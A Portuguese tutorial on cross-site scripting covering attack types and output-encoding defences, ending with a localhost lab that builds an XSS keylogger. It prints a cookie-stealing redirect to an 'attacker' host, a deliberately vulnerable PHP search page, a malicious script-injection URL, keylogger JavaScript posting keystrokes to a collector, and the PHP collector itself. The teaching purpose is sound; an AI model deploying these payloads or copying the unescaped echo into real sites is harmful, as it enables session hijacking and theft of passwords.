Você está na página 1de 12

A bblia do Cross-site Scripting (XSS)

Nos dias que correm, Cross-site Scripting (XSS, facilmente confundido com CSS) dos
ataques mais preocupantes e perigosos. Uma vulnerabilidade XSS quando explorada
por um profissional de segurana ou um atacante hbil torna-se bastante poderosa.
De maneira a simplificar o estudo deste tipo de ataques, o artigo ser dividido em
diferentes seces enumeradas a seguir:
Viso Global do Artigo.
O que XSS.
Injeo de Cdigo JavaScript.
O que Cdigo Malicioso JavaScript.
Quais as consequncias de Cdigo JavaScript Malicioso.
Tipos de Ataque XSS.
Preveno contra XSS.
Experincia Prtica: Criao de um Keylogger XSS.
Sumrio.

Viso Global do Artigo
O presente artigo oferece ao leitor todos os tpicos de real interesse sobre o ataque
XSS, que um dos ataques sobejamente empregue em aplicaes web-based e
catalogado no Top 10 de vulnerabilidades segundo a OWASP [1]. Na primeira metade
do artigo feita uma identificao e descrio do XSS, quais as suas consequncias e
o campo de ataque onde normalmente este predador habita. Em seguida, so descritos
os tipos de ataques, isto , algumas das suas possveis derivaes, e paralelamente
uma soluo para combate-las. Por fim, de forma a consolidar o contedo
disponibilizado apresentado um tutorial passo-a-passo de como elaborar um
keylogger (JavaScript) via esquema XSS.

O que XSS?
Cross-site Scripting (XSS) um ataque de injeo de cdigo que permite executar
cdigo JavaScript pr-computado num browser. O nome dado ao(s) outro(s) browser(s)
dependendo da dimenso do ataque o de vitima(s). Neste tipo de esquemas, o
atacante no ataca diretamente a vtima, este apenas encontra uma falta ou falha
num sistema, e.g. uma pgina web, infeta o sistema e o browser da vtima interpreta
o cdigo JavaScript pr-computado pelo atacante. Neste ponto, cabe ao atacante ser
habilidoso e elaborar um script com o foco bem definido.

Injeo de Cdigo JavaScript
Uma forma de um atacante correr o cdigo malicioso JavaScript no browser da vtima
injet-lo numa das pginas web que a vtima visita com regularidade. Este um
cenrio possvel caso a pgina web alvo seja permissiva em demasia na verificao das
entradas de dados fornecidas pelos utilizadores. Um exemplo disso por exemplo um
feed de notcias, onde um utilizador escreve uma notcia e essa salvaguardada na
base de dados e apresentada de seguida a todos os utilizadores da pgina web.





Como possvel observar acima, o atacante em vez de digitar uma mensagem vulgar,
e.g. Ol boa tarde pato!, digitou determinado cdigo JavaScript. Este acaba por se
renomear malicioso devido ao seu objetivo e carater. Quando o browser da vtima
executar esse cdigo JavaScript despoletado o ataque.

O que Cdigo Malicioso JavaScript
De forma genrica, cdigo JavaScript talhado para agir de forma anormal, com o
intuito de obter informaes legtimas e autenticas de forma maliciosa, sem que a
vtima se aperceba da ocorrncia de tal facto. Quando este tipo de cdigos so
injetados via browser podem causar consequncias e danos incalculveis. No entanto,
a possibilidade de cdigo JavaScript ser malicioso torna-se mais claro quando se
consideram os seguintes factos:
JavaScript possu acesso a algumas informaes confidenciais do utilizador,
como os cookies.
JavaScript pode enviar determinados pedidos para determinadas direes,
normalmente com destino marcado para C&C Servers (Command-and-Control
Servers).
JavaScript pode alterar o contedo da pgina a apresentar ao utilizador (vtima)
usando mtodos de manipulao DOM (Document Object Model).
Quando evidente uma vulnerabilidade numa pgina web, e estes factos combinam,
o resultado s pode ser desastroso.

Quais as consequncias de Cdigo JavaScript Malicioso
Entre muitas outras coisas, a capacidade de o atacante executar cdigo arbitrrio no
browser da vtima permite-lhe concretizar as diferentes abordagens abaixo citadas:
Cookies theft: O atacante pode aceder aos cookies da vtima e obter
informaes importantes como sessions ID.
Keylogging: O atacante poder catalogar os dados introduzidos pela vtima
atravs do evento AddEventListener, e obter informaes como palavras-passe
e nmeros de carto de crdito. Referir que muitos trojans bankers usam uma
abordagem semelhante, instalando nas diretorias dos browsers ficheiros
maliciosos JavaScript, como o caso do trojan banker tinba. Esse ficheiro tem
como finalidade transmitir e obter informaes das pginas do browser, at
mesmo fazendo o trabalho de um keylogger. Lembrar, que no final do artigo
echo <html>
echo noticia1 da base de dados
echo <script></script>
echo noticia3 da base de dados
sero explicados os passos bsicos de como projetar e elaborar um keylogger
da mesma famlia dos mencionados acima.
Phishing: O atacante pode inserir um formulrio de autenticao falso na
pgina via DOM, e.g., uma pgina de autenticao maliciosa sobreposto ao
formulrio legtimo, e desta maneira enviesar a vtima a colocar a sua palavra-
passe.
Este ltimo mtodo acaba por ser o mais usado por script kiddies e indivduos com
poucos conhecimentos de programao e da rea de segurana informtica. No
entanto, dos mais perigosos e no necessrio saber elaborar um esquema complexo
para que seja edificado um ataque com um carater bastante severo.

Tipos de Ataque XSS
Antes de ser descrito o modo de funcionamento de um ataque do tipo XSS convm
identificar os seus intervenientes, neste caso, os atores.

O cenrio apresentado acima corresponde de maneira genrica ao esqueleto bsico de
qualquer ataque da famlia XSS. Conjeturando a existncia de um sistema permissivo
a XSS (do lado direito), este fica imediatamente catalogado como vulnervel a
investidas maliciosas. Os dois atores humanos deste esquema a vtima, normalmente
apelidada de Good guy, e o atacante tambm ele chamado de Bad Guy. Em todos
os cenrios possveis de XSS, o atacante injeta cdigo malicioso no sistema vulnervel.
Nesse momento, qualquer utilizador que lhe aceda via browser ser infetado. A
consequncia depender sempre do tipo de ataque despoletado pelo atacante.


i) Como disferir um Ataque via Cookies
Um dos tipos de ataque XSS sobejamente empregues a explorao dos cookies.
Algures na pgina web infetada o atacante introduziu um cdigo similar ao apresentado
em seguida:





Analisando o pequeno trecho de cdigo malicioso, este redireciona a vtima para uma
pgina suspeita, enviando juntamento o cookie, que agrega a varivel de sesso. uma
clebre tcnica de phishing, que permite ao atacante, por exemplo, clonar a sesso
da vtima no seu browser. Com este tipo de ataque possvel ganhar privilgios sobre
o sistema, caso esta seja um dos administradores do sistema e este no detenha
mecanismos de segurana apropriados.
Em seguida, apresentada de forma detalhada um tipo de ataque XSS.


Este o cenrio mais comum de XSS. Um atacante fazendo uso da sua extrema
habilidade consegue instaurar um trecho de cdigo malicioso na base de dados do
sistema (web page). Os passos identificados na imagem so enumerados de seguida:
1. O atacante usa um formulrio permissivo para adicionar o trecho malicioso na
base de dados.
2. A vtima solicita um pedido da pgina ao servidor.
3. O servidor recebe o pedido e envia a pgina infetada vtima.
4. O browser da vtima recebe o pedido, executa o cdigo malicioso e envia o
cookie ao atacante.
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
A este tipo de ataque costuma chamar-se Persistence XSS, visto que o cdigo malicioso
resulta da base de dados.
Os tipos de ataques mais comuns so os seguintes:
a) Persistence XSS: Onde o trecho de cdigo malicioso provm da base de
dados do sistema.
b) Reflected XSS: Onde o trecho de cdigo malicioso tem origem no pedido
solicitado pela vtima (esquemas de phishing via URL).
c) DOM-Based XSS: A vulnerabilidade permanece no cliente-side e no no
server-side.

Ataques refletidos de XSS (Reflected XSS) tm origem na sua maioria em ataques de
phishing. Quando o atacante descortina uma vulnerabilidade de injeo no sistema
alvo, este projeta um esquema altamente elaborado, que visa ludibriar as vtimas com
URLs falsificados. A bem dizer, esse URL apenas anexa uma string maliciosa que poder
ser fatal.
Relativamente a ataques DOM-Based, estes so os mais elaborados. O cdigo fonte da
pgina alterado, e apenas (por norma) somente sofre essa alterao quando o
atacante assim o desejar. Por exemplo, o atacante altera a hiperligao de uma
imagem na pgina web para uma pgina maliciosa. Perceber que todas estas alteraes
maliciosas so efetuadas no browser do cliente. Hoje em dia um dos ataques em
voga, visto que com os avanos tecnolgicos muitos sistemas acabam por correr na sua
maioria no client-side requisitando apenas alguns pedidos ao servidor via AJAX.

Preveno Contra XSS
De forma a agilizar a tarefa de proteo de um sistema contra ataques XSS, o
desenvolvedor do sistema ter forosamente de adotar uma programao defensiva.
Normalmente esta programao defensiva passa pela verificao dos dados de entrada
e de sada no sistema, e.g., verificao do input do utilizador no formulrio de registo.
A maior causa do Persistence e Reflected XSS tem a ver com os pedidos efetuados ao
sistema, estes no detm qualquer tipo de verificao, portanto torna-se fcil projetar
esquemas altamente elaborados e com isso ludibriar os utilizadores que acreditam de
forma religiosa no sistema.
Algumas das verificaes arcaicas para preveno deste ataque so:
Limitar o tamanho do campo a ser introduzido pelo utilizador.
Definir o grupo de carateres aceites pelo sistema (fazendo uso de expresses
regulares). Neste ponto convm prestar ateno, deve ser sempre definido o
grupo de carateres aceites pelo sistema e no o inverso (os carateres podero
ser injetados numa outra representao).
Este tipo de verificao deve ser sempre efetuada tanto no client-side como
no server-side. Caso no o seja, a string maliciosa poder ser redefinida
posteriormente num proxy de rede local.

Relativamente aos dados de sada, sempre que o sistema escrever qualquer cdigo
JavaScript este deve ser sempre codificado em HTML para tratar potenciais carateres
(ou cdigos) maliciosos. Isto garante que o browser ir escrever o cdigo malicioso de
uma forma no maliciosa, tratando-o como parte do documento HTML. Alguns dos
carateres conhecidos so por exemplo:
" &quot;
' &apos;
& &amp;
< &lt;
> &gt;
Algumas funes que fazem este tipo de tarefas em PHP so a funo
htmlspecialchars e htmlentities. Em ASP.NET existe por exemplo a funo
"Server.HTMLEncode. Reparar, que estas so apenas um exemplo.
Em seguida apresentada a componente prtica deste artigo, designadamente como
tirar partido de uma vulnerabilidade deste calibre.

Criao de um Keylogger XSS
De forma a salientar o conhecimento adquirido ao longo do artigo, elaborado de
seguida, um script malicioso em JavaScript (XSS). O cenrio ideal para a experiencia
idealizada descrito em seguida.
Cenrio: Os intervenientes da experincia so: (i) uma pgina web, (ii) o atacante;
(iii) e a vtima. O sistema web infetado com cdigo XSS. Este pode ser de carater
Reflected, onde so usadas normalmente tcnicas de phishing para difundir o URL
malicioso. Quando o cdigo for interpretado no browser da vtima este tem o efeito
de keylogger e regista todas as entradas do teclado enviando-as via AJAX para o C&C
Server do atacante. Na verdade, este tambm um ataque DOM-Based XSS, da ser
hbito dizer-se que uma extenso dos Persistence and Reflected XSS ataques.
A pgina web (o site) apresentado na imagem abaixo.











uma pgina web com um excelente aspeto, mas com vulnerabilidades propositadas,
nomeadamente na caixa de pesquisa destacada em seguida.



A caixa de texto acima destacada corresponde ao mdulo pesquisar neste site. A
maioria dos sistemas apresenta uma das primeiras vulnerabilidades neste campo. Se
forem introduzidos alguns valores e o pedido for submetido, o resultado o seguinte.



O utilizador introduziu a palavra pato na caixa de texto. Esta destacada na pgina
com a mensagem: Content not found: pato e tambm no URL da pgina:
http://localhost/xss/site/index.php?op=search&a=pato. Bom, para um atacante
habilidoso este poder ser um cenrio a explorar.
Aps alguns dias de pesquisa na Internet (heheh) o atacante descobre o seguinte:


O atacante alterou o URL via browser. Deixou de ter o endereo (i) e passou a ter o
endereo (ii).
(i): http://localhost/xss/site/index.php?op=search&a=pato
(ii): http://localhost/xss/site/index.php?op=search&a=pato_alterado_no_url

Bom, aps esta investida positiva ele decidiu elaborar um script bastante ambicioso,
um keylogger. No entanto, para os menos crentes, a pgina PHP search.php possu o
seguinte cdigo:






A varivel $conteudo obtida diretamente do URL, no feito qualquer tipo de
verificao server-side de entrada (lembra-se disso?) e escrita diretamente no HTML
sem qualquer tratamento adicional (tambm se lembra disto?).
Passados alguns dias e meses, o atacante lembrou-se de um brilhante esquema, um
keylogger. Comprou um alojamento e um domnio para elaborar este tipo de esquemas
via Internet.
A seguinte imagem retrata o modo de funcionamento do esquema planeado pelo
atacante.


<?php
$conteudo=$_GET['a'];
echo "<br>Content not found: " . $conteudo . "<bt><hr>";
?>


Ao analisar o esquema idealizado pelo atacante fico a duvidar das minhas capacidades
planear um esquema semelhante em menos de um ms. No entanto algo simples de
perceber. Atentando os marcadores descritos em seguida:
1. O atacante descobre a vulnerabilidade no site e envia atravs de um esquema
de phishing, e.g. via e-mail, o URL da pgina adulterado vtima.
2. A vtima ao abrir o e-mail atenta o endereo (este at poder ser encurtado e
deixado com um aspeto apetitoso: https://goo.gl/) e requisita um pedido
pgina web.
3. Esta como no faz qualquer verificao de segurana emite uma resposta
maliciosa a vtima j com o cdigo malicioso contido entre as tags <html>.
4. Visto que a vtima j recebeu a resposta do servidor e o cdigo malicioso j foi
interpretado e corrido pelo seu browser, agora sempre que este digitar algo via
teclado (e.g. palavra-passe da pgina) o contedo enviado de forma
instantnea atravs de AJAX para o C&C Server monitorizado pelo atacante.
Em termos prticos, isto significa o atacante alterar o URL acima mencionado
(index.php?op=search&a=pato_alterado_no_url) pelo cdigo XSS pr-
computado.





O atacante elaborou um script XSS e faz a sua incluso via URL. O browser ao receber
e interpretar o pedido comunica com o servidor do atacante e executa o cdigo contido
http://localhost/xss/site/index.php?op=search&a=<scri
pt src="http://localhost/xss/attacker/evil.js"></script>
no ficheiro evil.js. O cdigo deste ficheiro no nada mais, nada menos, que um
script para capturar todas as entradas do teclado e emiti-las via AJAX.










Como possvel constatar, a informao enviada via HTTP POST para um ficheiro de
nome cc_server.php. Por outro lado, este ficheiro cria (caso ainda no exista) um
ficheiro com o nome gift.txt e adiciona todos os dados introduzidos no teclado pela
vtima nesse ficheiro.







Mais uma vez, possvel observar a simplicidade do cdigo. Este escreve num ficheiro
de texto os dados recebidos por parte da vtima via POST. (Nota: Convm criar o
ficheiro de logs manualmente e definir as suas permisses, e.g. chmod 777 gift.txt .)

Cenrio Final:
O atacante envia o seguinte endereo vtima.
http://localhost/xss/site/index.php?op=search&a=<script
src="http://localhost/xss/attacker/evil.js"></script>
A vtima recebe-o e abre o endereo no seu browser.
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://localhost/xss/attacker/cc_server.php",true);
http.setRequestHeader("Content-type","application/x-www-form-
urlencoded");
http.send("key="+param);
}
}
<?php
$key=$_POST['key'];
$logfile="gift.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>


possvel identificar atravs do marcador nmero 1 o URL malicioso. Como esperado,
no resultado da pesquisa no foi digitado qualquer tipo de texto, visto que o script no
debita qualquer string. Por fim, conjeturando a possibilidade de no marcador 3 aquela
caixa de texto ser o formulrio de autenticao, essa informao enviada para o
atacante.
Passado algumas horas, ou at dias, visto que o atacante uma pessoa bastante
ocupada no seu dia-a-dia, este foi dar uma olhada ao servidor que comprou h uns
meses atrs.












Bom, este teve uma tamanha surpresa ao ver o ficheiro de logs. Concluir que sempre
necessrio tomar todas as providncias e verificar a legitimidade dos servios que
consultamos com regularidade.


Sumrio

Viso Geral sobre XSS
- XSS um tipo de ataque que se tornou possvel atravs da manipulao insegura das
entradas de dados do utilizador.
-Um ataque XSS bem-sucedido, permite ao atacante executar cdigo malicioso no
browser da vtima.
-Um ataque XSS bem-sucedido, compromete a segurana dos servidos e dos seus
utilizadores.

Viso Geral sobre ataques XSS
Os trs tipos de ataques mais comuns so:
-Persistence XSS: Este oriundo da base de dados do sistema.
-Reflected XSS: Quando o cdigo malicioso tem origem num pedido efetuado pela
vtima.
-Dom Based XSS: Quando a vulnerabilidade est no client-side e no no server-side.

Viso Geral sobre Preveno XSS
-Limitar o tamanho do campo de dados.
-Verificar as entradas de dados.
-Verificar as sadas de dados.
(Mencionar que existem bastante mecanismos de preveno, cabe ao leitor explorar
um pouco mais sobre o assunto.)

Referncias:
[1]
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_
Top_10_for_2013
http://seguranca-informatica.pt